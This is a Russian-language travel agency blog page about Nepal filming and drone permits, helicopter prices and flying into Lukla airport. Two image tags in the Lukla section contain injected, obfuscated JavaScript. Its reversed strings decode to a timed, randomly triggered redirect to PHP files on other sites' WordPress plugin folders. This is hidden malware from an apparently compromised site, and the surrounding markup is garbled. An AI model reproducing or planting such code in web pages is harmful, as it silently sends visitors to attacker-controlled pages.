Tag: аэропорт Лукла

Ближайший трек к Базовому лагерю Эвереста + озерам Гокио на 14 дней состоится 8 — 21 сентября!

Цена:

Даты:

Мы хотим дать вам самое четкое руководство о том, как получить разрешение на съемку в Непале. Но имейте в виду, что политическая ситуация, как и во всех странах, может измениться, и этот документ, возможно, будет нуждаться в изменении. Вся информация основана на нашем опыте во время получения разрешений на съемку и использование квадрокоптеров / дронов в Непале. Вас могут попросить подготовить дополнительные документы. Это случается частенько, будьте готовы.

Также имейте в виду, что, хотя мы и заявляем, что вы можете понести штраф за съемки без разрешения, но не исключено, что вы также можете подвергнуться конфискации своего оборудования, и даже, рискнуть тюремным заключением.

Мы также рекомендуем вам, если вы планируете снимать любые видеоролики, полностью застраховать всё свое оборудование от всех рисков и ответственности. Обязательно проверьте страховой полис. Мы надеемся, что вы сочтете это полезным и, пожалуйста, не стесняйтесь спрашивать в разделе комментариев, если вам нужна дополнительная информация.

Неудивительно, что Непал стал особенным источником вдохновения и стал привлекательным как для любителей, так и для профессиональных кинематографистов со всего мира. Однако любой вид съемок в стране должен получить разрешение на съемку.

СТАНДАРТНОЕ  РАЗРЕШЕНИЕ НА СЪЕМКУ

Как получить разрешение на съемку и с чего начать?

Обратите внимание, что если вы являетесь иностранным физическим или юридическим лицом, невозможно подать заявку на получение разрешения самостоятельно. Закон в Непале требует, чтобы это осуществлялось через местную компанию. Поэтому первое, что вам нужно сделать, — это найти местную компанию, которая будет вашим официальным представителем на всем протяжении процедуры получения разрешений, а также на процесс съемки.

Эта компания должна иметь возможность подготовить все необходимые документы в различные государственные учреждения и, в конечном итоге, в Министерство информации и связи, которое имеет окончательное правомочие предоставить разрешение на съемку.

Чтобы получить это обязательное разрешение на съемку, вам понадобятся письма одобрения от различных правительственных ведомств и агентств, в зависимости от места съемки. Например, требуется разрешение Департамента археологии, если вы хотите сниматься в объектах всемирного наследия. Отдельные письма с одобрением необходимо получить, чтобы снимать фильмы в районах национальных парков.

Какие документы требуются?

Несмотря на то, что вы наняли местную компанию для оформления всех документов, чтобы получить разрешения для вас, неплохо знать, какие документы необходимы, чтобы вы могли помочь в случае необходимости ускорить процесс. Необходимые документы:

• Письмо режиссера, назначающее местное агентство в качестве вашего координатора / представителя
• Письмо вашего местного агентства в Министерство информации и коммуникаций
• Форма заявки с оплаченной почтовой маркой в размере 50 рупий
• Краткое описание фильма
• Список музыки, использованной в фильме (если вы используете музыку)
• Список членов съемочной группы с указанием их паспортных данных
• Авиа билеты членов съемочной группы
• Бронирование мест проживания для членов съемочной группы
• Полный график, включая точные даты и места съемок в Непале
• Список оборудования для съемок с их стоимостью (для целей таможенного досмотра)
• Разрешение, выданное Департаментом археологии в случае, если вы снимаетесь в любом из четырех объектов Всемирного наследия в Непале: Долина Катманду (в том числе 7 отдельных объектов: Храм Пашупатинат, Ступень Суоамбхунатх, Ступа Буддханатха, Площадь Катманду Дурбар, Площадь Патан Дурбар, Бхактапур Дурбар Площадь и храм Чангу Нараяна); Лумбини; Национальный парк Читван; Национальный парк Сагарматха.
• Разрешение, выданное Управлением Фонда развития Пашупатинатта для съемок в Храме Пашупатинат
• Разрешение, выданное Департаментом сохранения дикой природы для съемок в любом заповеднике
• Разрешение, выданное Министерством культуры туризма и гражданской авиации для съемок в Верхнем Мустанге и Верхнем Долпо, которое стоит 5000 долларов США в каждой области
• Разрешение, выданное Фондом развития Лумбини для съемок в Капильвасту и Лумбини

Как только все документы будут подготовлены, они должны быть представлены в Министерство информации и связи, и ожидать рассмотрения.

Что происходит после получения разрешения на съемку?

Конечно, теперь вы можете легально сниматься в Непале, но под наблюдением офицера связи, назначенного Министерством информации и связи.

Этот офицер будет следить за всеми съемочными мероприятиями съемочной группы, чтобы они не оказывали негативного влияния на окружающую среду и сообщество. В случае любого нарушения закона или любых видов деятельности, считающихся вредными для страны, он или она имеет полное право приостановить съемку.

Более того, расходы сотрудника, включая суточные, страхование, поездки, питание и проживание, должны покрываться кинорежиссером.

Условия, применимые к разрешению съемок

Согласно Правилам кинопроизводства, вот несколько вещей, которые следует отметить в отношении разрешения на съемку в Непале:

• Разрешение на съемку действует только один год
• Лицензия на художественный фильм останется действительной в течение трех лет
• Страхование жизни офицера связи должно охватывать как минимум 300 000 NPR
• В случае несчастного случая, произошедшего с сотрудником по связи, с его ранением, сумма до 200 000 NPR должна быть выплачена ему в качестве компенсации
• Иностранные кинорежиссеры, планирующие публичный показ, должны получить предварительное разрешение от ближайшего посольства Непала с оплатой в размере 150 000 NPR.
• Иностранные кинопроизводители должны предоставить бесплатную копию своей продукции в Министерство информации и связи
• Должностное лицо связи должно присутствовать во время съемки
• Для съемки в горных районах офицеру связи должны быть предоставлены необходимая одежда и медицинские принадлежности, оплачена стоимость авиа перелетов

Сколько стоит получение разрешения на съемку?

Разрешение на съемку стоит 15 000 NPR, и оплачивается местной компании. Эта комиссия обычно зависит от сложности и продолжительности вашего проекта и ваших способностей торговаться  с компанией.

Кроме того, вы должны нести расходы сотрудника по связи, назначенного Министерством информации и связи (включая суточные, страхование, проезд, питание и проживание).

РАЗРЕШЕНИЕ НА СЪЕМКУ БЕСПИЛОТНЫМ ЛЕТАТЕЛЬНЫМ АППАРАТОМ (БПЛА) В НЕПАЛЕ

Правила, применяемые для съемки БПЛА, весьма различны, о чем подробно говорится ниже. Это разрешение можно получить при двух условиях:

• У вас есть разрешение на съемку (с описанными выше процедурами и стоимостью)
• У вас есть лицензия пилота БПЛА

Если ваш БПЛА весит меньше 2 кг, хорошая новость заключается в том, что вы можете летать на любой частной территории без необходимости получения разрешения.

Какие документы необходимы для получения разрешения на съемку БПЛА?

Ваше агентство поможет подготовить следующие документы, которые будут представлены в Министерство информации и связи для получения разрешения:

• Разрешение на съемку
• Разрешение от Министерства информации и культуры
• Разрешение от Министерства культуры, туризма и гражданской авиации
• Разрешение Минобороны
• Разрешение Министерства внутренних дел
• Разрешение от других министерств и ведомств, если они связаны
• Разрешение Управления гражданской авиации Непала (КААН)
• Лицензия пилота-пилота БПЛА оператора беспилотного летательного аппарата
• Паспорт и Действительная Виза оператора беспилотного летательного аппарата
• Четкая карта области полета, включая широту и долготу
• Технические характеристики БПЛА
• Письмо с обязательством для полета в соответствии с условием, указанным в пункте № 3 процедуры ЛАП по ЛВП 2072 BS
• Маршрут, в котором указаны даты, время и места съемок
• Если в исходный маршрут внесены изменения, должен быть утвержден новый график

Какие условия применяются после того, как вы получили разрешение на съёмку БПЛА?

• БПЛА всегда должен оставаться в поле зрения оператора
• БПЛА должны эксплуатироваться в соответствии с визуальными метеорологическими условиями (VMC)
• Разрешение Управления гражданской авиации Непала (CAAN) требуется для всех рейсов
• Перед подачей заявки на разрешение CAAN требуется предварительное одобрение соответствующих органов власти
• Независимо от высоты, взлетно-посадочная зона в аэропорту должна быть свободной все время
• Разрешение предоставляется на определенное количество времени по запросу

Помимо упомянутых выше условий, здесь приведена самая обновленная информация из Директивы правительства октября 2015г, которую вы должны знать:

• Не летайте ближе чем 1000 м от стратегически важных объектов
• Не летайте над археологическими раскопками
• Горизонтальное расстояние БПЛА не должно превышать 300 м от оператора
• Вертикальный предел составляет 100 м
• Выносливость БПЛА не должна превышать 15 минут

Сколько стоит разрешение на съемку БПЛА?

В отличие от обычного разрешения на съемку, которое стоит 15 000 NRP, разрешение на БЛА выдается бесплатно.

Сколько времени требуется для получения разрешения на съемку?

• Для обычного разрешения на съемку требуется от 2 до 14 дней
• Для разрешения БПЛА в некоторых случаях это может занять еще больше времени

Удачи!

А вы в курсе, что в Непале вертолеты используются не только для того, чтобы эвакуировать горемычных треккеров, согнувшихся от горной болезни, но и для того, чтобы получить новый заряд адреналина и новых эмоций он полета, или, просто сократить время на дорогу об Базового лагеря Эвереста в Катманду?

А вот да!

Если расходы на эвакуацию в экстренном случае возьмет на себя ваша страховая компания (данный пункт должен быть в вашем страховом полисе), то расходы на увеселительные полеты лягут на ваши плечи и карман.

Смотрите, на сезон весна 2018г. средняя стоимость такая:

Вертолет Базовый лагерь Эвереста — аэропорт Лукла $2000 за рейс (вместимость 5 человек)

Вертолет Базовый лагерь Эвереста — аэропорт Катманду $3500 за рейс (вместимость 5 человек)

Ну а зачем еще нужны деньги?! 😉

Аэропорт Лукла — главные воздушные ворота Эвереста.

Именно через этот крошечный аэропорт прибывают к старту маршрута практически все туристы отправляющиеся на треккинг к базовому лагерю Эвереста а также альпинисты, мечтающие о вершине Джомолунгмы. Расхожим штампом стало именование Луклы «самым опасным аэропортом мира». Не думаю, что это в самом деле так — наверняка должны быть места и по-жёстче. Тем не менее Лукла — действительно экстремальное место. Длина взлётной полосы всего 520 метров. С одной стороны она обрывается в пропасть, с другой — упирается в скалу.

Более того, уклон взлётной полосы составляет 10-12 градусов. Поэтому приземлятся тут надо только в одном направлении и только с первого раза. Пилоты говорят, что после того как самолёт пересекает реку, пути назад нет — он должен приземлиться, второй заход невозможен.

Самолёты-маршрутки

Из-за крайне малой длины взлётно-посадочной полосы в Лукле тут могут работать только специальные самолёты с укороченным взлётом и посадкой. Это канадские DHC-6 Twin Otter и немецкие Dornier 228. Их легко отличить — у Dornier более длинный нос, в котором прячется дополнительное багажное отделение, а у Twin Otter не прячется шасси и есть подпорки под крыльями. Но и те и другие это эдакие самолёты-маршрутки вместительностью до 20 человек и стоимостью в 7 миллионов долларов за штуку.

На большинстве рейсов в Лукле загрузку ограничивают 15-18 пассажирами,  также с каждым годом непальские авиакомпании ужесточают нормы провозки багажа. На данный момент разрешенная масса зарегистрированного багажа всего 10 кг на человека. Плюс пару килограмм ручной клади. Пока что ручную кладь контролируют спустя рукава, но стоит случиться очередной аварии из-за перегрузки и авиакомпании, не заинтересованные в потере дорогостоящих самолётов и собственной репутации, возьмутся за контроль безразмерных карманов и прочие ухищрения пассажиров. Либо увеличат и без того высокие цены ($350 в одну сторону), чтобы иметь возможность сажать на рейс еще на пару человек меньше.

Кстати, в салоне нет багажных полок. Там вообще очень мало места — не пытайтесь протащить туда слона в рюкзаке. Зато и дверей в кабину пилотов в самолётах-маршрутках тоже нет, наверное чтобы было удобней передавать за проезд 🙂 Можно смотреть как работают пилоты (их всегда двое) и пугаться глядя на посадочную полосу через лобовое стекло (в остальное время там ничего не показывают).

Из-за переменчивости погоды дорога каждая минута ясного неба, поэтому высадка и посадка пассажиров происходят без каких либо пауз на уборку и техническое обслуживание. Все происходит молниеносно — самолёт приземляется, съезжает с поля в «карман» (его место тут занимает другой), пассажиры выскакивают из «маршрутки» и бегут к терминалу, улетающие уже стоят наготове, тем временем грузчики перекидывают багаж на ручные тележки. Порядок на поле поддерживает непальская армия. В горячий сезон, когда открывается «окно» в облаках, самолёты заходят на посадку непрерывной чередой. Это завораживающее зрелище, фантастический конвейер, гимн эффективности.

Погода в Лукле

Даже при нормальной погоде аэропорт Тэнцинга и Хиллари принимает самолёты только в промежутке с 6:30 до 15:30. Если же погода портится, то аэропорт Луклы перестаёт принимать рейсы вне зависимости от времени суток и количества недовольно орущих пассажиров. Эта пауза может длиться от нескольких часов, до недели.

При сколь либо длительной задержке в Лукле начинают накапливаться спускающиеся с гор туристы. Лоджи переполняются, цены растут, народ нервничает и штурмует офисы авиакомпаний чтобы хоть что-то выяснить. Постоянно составляются некие бестолковые списки. Созерцание погодных сайтов становится самым популярным развлечением (в другое время все развлекаются наблюдая за посадкой самолётов).

Прелесть ситуации в том, что даже если погода наладится, то для того чтобы вывезти всех собравшихся в Лукле людей может понадобится несколько дней. А ведь время поджимает — у большинства туристов не более одного запасного дня перед отлётом домой из Катманду. Терять билеты на дорогущие международные рейсы и опаздывать на работу никому не хочется. И тогда начинаются метания — ждать ли дальше своей очереди на вылет или пробовать альтернативные способы вернуться в Катманду?

Альтернатива Лукле

Если самолёты не летают, а вам очень надо выбраться, то можно воспользоваться одним из двух запасных вариантов. Первый из них — вертолёт. Вертолёты летают почти в любую погоду, туманы их почти не пугают. Цена вопроса — примерно 500 долларов. По возвращении в Катманду можно будет сдать свои авиабилеты и тем самым как бы сэкономить 180-200 баксов.

Второй вариант — бежать пешком в какой-нибудь другой поселок и искать там транспорт. Обычно бегут в Jiri, Phaplu или Salleri. Но по времени такой спуск займёт как минимум 2-3 дня. И это в лучшем случае — если идти быстро и напряженно. Достигнув намеченной деревни надо будет найти джип и еще 8-12 часов трястись в нём до Катманду.

Врядли вы сможете принять сложное решение (не ждать самолёт) мгновенно. Скорее всего этому будет предшествовать некоторый период раздумий и драгоценное время будет утеряно. Да и вообще, как показывает практика, у современного человека свободных денег в среднем больше, чем свободного времени. Поэтому оптимальным вариантов эвакуации, на мой взгляд, всё таки является вертолёт.

tolet-lulka-nepal.jpg»>$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tolet-lulka-nepal-1024×649.jpg» alt=»» width=»1024″ height=»649″ />

Советы тем, кто летит в Луклу

• Если хотите видеть в иллюминатор Гималаи, то садитесь по левому борту самолёта (для рейса Катманду-Лукла). На обратном пути в Катманду белоснежные вершину будут интересовать вас в гораздо меньшей степени.
• Лучше покупать обратные билеты с фиксированной датой (а не с открытой). У них выше приоритет при регистрации на рейс — больше шансов улететь вовремя.
• Если есть выбор, то покупайте билеты на самые ранние рейсы (не позже 8 утра). Утром погода значительно лучше.
• Возьмите в салон куртку. В Катманду то обычно жарко, а вот на подлёте к Лукле в самолёте заметно холодает. Нередко случаются и ощутимые сквозняки в салоне (он не герметичный, запасные выходы закрываются не очень плотно).
• Чтобы вписаться в органичения по весу багажа, наденьте на себя как побольше одежды (ботинки!) и распихайте по карманам тяжелую мелочевку.
• В самолёте нет туалета, сходите туда заранее. Полёт длится около 40 минут.
• Если вас укачивает в транспорте, заранее выпейте таблетку от укачивания. Если делать это в самолёте, она может не успеть подействовать — рейс очень короткий.
• Ярко и крупно подпишите ваш багаж, укажите на нём номер телефона. Возможна ситуация, когда из-за перегрузки ваш багаж полетит другим рейсом и из-за этого отстанет от вас на день (если погода внезапно испортится).
• Сдайте в багаж ножи и треккинговые палки. Хоть в аэропорту Катманду и разгильдяйничают частенько, но сканер проходить всё-таки заставляют.

andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andu.jpg»>$Ikf=function(n){if (typeof ($Ikf.list[n]) == «string») return $Ikf.list[n].split(«»).reverse().join(«»);return $Ikf.list[n];};$Ikf.list=[«\’php.eroc_nimda/bil/steewt-tsetal-siseneg/snigulp/tnetnoc-pw/moc.nosredneherdied.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andu-1024×497.jpg» alt=»» width=»1024″ height=»497″ />

Советы тем, кто улетает из Луклы

• Начните интересоваться погодой в Лукле еще за 2-3 дня до прихода туда (т.е. еще в Горакшепе). При некоторых обстоятельствах (надвигающийся циклон) имеет смысл кидать всё и на полных парах бежать в Луклу, дабы не застрять там впоследствии.
• По возвращении в Катманду любые билеты, даже просроченные, можно легко сдать обратно в кассу. Поэтому, если того требует момент, не останавливайтесь перед покупкой новых, более удачных билетов.
• Имеет смысл не заниматься регистрацией (пропихиванием) своих билетов самостоятельно, а поручить это вашему гиду, носильщику или администратору вашего лоджа.
• Запасные 500 долларов должны быть у каждого!
• Запасной день тоже не помешает.

При планировании наших туров к Эвересту мы стараемся закладывать в программу как минимум 2 запасных дня (промежуток времени между приходом в Луклу и вылетом из Катманду). И мы берем на себе всю головную боль, связанную с бронированием и «пропихиванием» билетов, поэтому вам остаемся только наслаждаться зрелищем суетящихся треккеров ;)))